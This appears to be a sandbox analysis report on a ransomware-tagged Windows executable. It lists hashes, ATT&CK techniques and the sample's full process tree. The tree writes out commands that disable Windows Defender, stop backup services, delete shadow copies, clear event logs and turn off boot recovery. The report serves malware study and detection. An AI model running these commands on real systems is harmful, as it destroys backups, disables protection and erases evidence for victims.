d841fc1007bfc735fc5628b6ab4cb4bbe532e969b445c662b5ab3d7ae198f8f0

Analysis

max time kernel
2s
max time network
98s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
30-12-2023 16:02

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General

Target

47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35.exe
Size

3.4MB
MD5

177417be748814f6168171a42545f9dd
SHA1

9c8b988e66e0fe6f9dab69b1055e4ee200531094
SHA256

47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35
SHA512

c90eebbd4663ffe4bec089e21e4f7c1a1441e21a2f78cc190b9ce85fd048bf46901aa74273695df7b6434887284a26d4fdaaf657cb5d9c5469574158adc351c2
SSDEEP

49152:EynbnX4Rsrb/TFvO90dL3BmAFd4A64nsfJUvelzON7j93aqSCD0BUCoQPr8bg11t:EyrAe2lS75Hw+i4JROD5R

Score

9^/10

evasion ransomware

Malware Config

Signatures

Clears Windows event logs 1 TTPs 3 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3664	wevtutil.exe
3896	wevtutil.exe
4568	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3204	bcdedit.exe
3160	bcdedit.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4164	sc.exe
2252	sc.exe
2180	sc.exe
3592	sc.exe
1928	sc.exe
4236	sc.exe
2020	sc.exe
3620	sc.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3776	vssadmin.exe

Runs net.exe

C:\Users\Admin\AppData\Local\Temp\47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35.exe
"C:\Users\Admin\AppData\Local\Temp\47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35.exe"
1⤵
PID:2964
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SamSs" /y
  2⤵
  PID:4156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:3396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      PID:1112
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  PID:3464
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:4448
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "UnistoreSvc_24466" /y
  2⤵
  PID:3760
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UnistoreSvc_24466" /y
    3⤵
    PID:2032
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "WebClient" /y
  2⤵
  PID:3828
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "wbengine" /y
  2⤵
  PID:4880
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "VSS" /y
  2⤵
  PID:2820
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "vmicvss" /y
  2⤵
  PID:3520
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  PID:5020
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  - Launches sc.exe
  PID:4164
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  - Launches sc.exe
  PID:2252
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "UnistoreSvc_24466" start= disabled
  2⤵
  - Launches sc.exe
  PID:2180
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  - Launches sc.exe
  PID:3592
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  - Launches sc.exe
  PID:1928
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "vmicvss" start= disabled
  2⤵
  - Launches sc.exe
  PID:4236
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:2020
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  - Launches sc.exe
  PID:3620
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2456
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  PID:8
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:2952
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:4232
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:2320
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:2872
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:3152
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:384
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  PID:4904
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  PID:3668
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  PID:4600
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  PID:2528
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  PID:4168
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:3340
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:1228
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:4460
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:4624
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:3560
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Clears Windows event logs
  PID:3664
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3776
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4732
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2400
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Clears Windows event logs
  PID:3896
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2968
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  PID:2248
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  PID:2608
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Clears Windows event logs
  PID:4568
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3204
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:3176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    PID:2340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:4448
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:3396
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3160
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1724
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4848
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2364
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:3612
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:2292
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:3356
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:2740
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:2436
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:1300
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:396
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:3220
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:784

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "vmicvss" /y
1⤵
PID:4964

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "WebClient" /y
1⤵
PID:4752

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "wbengine" /y
1⤵
PID:4904

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "VSS" /y
1⤵
PID:4028

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "SDRSVC" /y
1⤵
PID:3340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
adcf7694324db40696dec9e7145c7d9a

SHA1
6a5a093f6fec740444de5c219fd6af57f087d436

SHA256
b7678468701b0c13267926de54a86f833541a6d0420e466d62d1fa948bbfe054

SHA512
b5ad97789767fe51c37b603b3ec7015008a69699115330404193ceebb3158d5ae674062699b9cb62fa5635a7e78330d952e4438176bd9612d50c424845fb6896

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1fcign3z.up3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1112-33-0x0000014729360000-0x0000014729370000-memory.dmp

Filesize
64KB

Download
memory/1112-36-0x00007FFF31020000-0x00007FFF31AE1000-memory.dmp

Filesize
10.8MB

Download
memory/1112-31-0x0000014729360000-0x0000014729370000-memory.dmp

Filesize
64KB

Download
memory/1112-34-0x0000014729360000-0x0000014729370000-memory.dmp

Filesize
64KB

Download
memory/1112-32-0x0000014729360000-0x0000014729370000-memory.dmp

Filesize
64KB

Download
memory/1112-30-0x00007FFF31020000-0x00007FFF31AE1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-14-0x000002252D900000-0x000002252D910000-memory.dmp

Filesize
64KB

Download
memory/2340-18-0x00007FFF31020000-0x00007FFF31AE1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-12-0x00007FFF31020000-0x00007FFF31AE1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-13-0x000002252D900000-0x000002252D910000-memory.dmp

Filesize
64KB

Download
memory/2340-2-0x000002252DB00000-0x000002252DB22000-memory.dmp

Filesize
136KB

Download
memory/2340-15-0x000002252D900000-0x000002252D910000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads